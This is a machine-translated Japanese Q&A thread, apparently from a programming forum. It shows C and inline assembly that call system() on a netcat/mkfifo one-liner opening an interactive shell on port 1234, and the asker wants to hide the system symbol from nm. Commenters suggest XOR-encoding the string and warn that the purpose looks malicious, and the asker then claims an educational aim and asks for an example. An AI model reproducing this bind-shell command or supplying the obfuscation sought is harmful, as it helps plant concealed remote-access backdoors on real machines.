I次のasmコードがあります。呼び出しC関数NMコマンドでそれらを示すことなく、
int main(void)
{
__asm__(" subq $16, %rsp\n"
"leaq L_.str(%rip), %rdi\n"
"movb $0, %al\n"
"callq _system\n"
"xorl %ecx, %ecx\n"
"movl %eax, -4(%rbp)\n"
"movl %ecx, %eax\n"
"addq $16, %rsp\n"
"popq %rbp\n"
".section __TEXT,__cstring,cstring_literals\n"
"L_.str:\n"
".asciz \"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f\"\n"
"retq\n");
}
をそして、それはに等しいです:私はC言語を使用してそれをやって、そしてときだ
system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f");
私は両方をコンパイルし、実行可能ファイルに対してNMを実行すると、_system関数をシンボルで見ることができます。
私の質問は:あなたはどのようにNMコマンドでこのシンボルを隠すことができますか?
(直接)できません。 'system'呼び出しには正確な文字列が必要です。あなたは、暗号化された文字列を受け取り、それを解読してから 'system'を呼び出す何らかの翻訳を書くことができます。あなたがその程度に行きたいなら。 – kaylum
単純に 'xor 0xAA'であっても、単に文字列を何らかの形でエンコードするよりもバイナリでの直接の可視性だけが問題であれば、人間にとってはそれを読むことができません。もちろん 'strace'を表示します。なぜなら' system 'に送る前に解読する必要があるからです。私はライン自体をエンコードすることも可能だと思うので、システムはデコードの最後の部分を行い、シェルスクリプトを使って "/ tmp"のようなものを隠します。とにかく、それが悪意のあるものでなければ、これを隠す理由はないので、あなたは良いことに取り組むことができるあなたの時間を無駄にしないでください。人生は短く、現代のITを破壊するのは簡単です。 – Ped7g
それは教育目的のためだけです、あなたはその例を持っていますか? –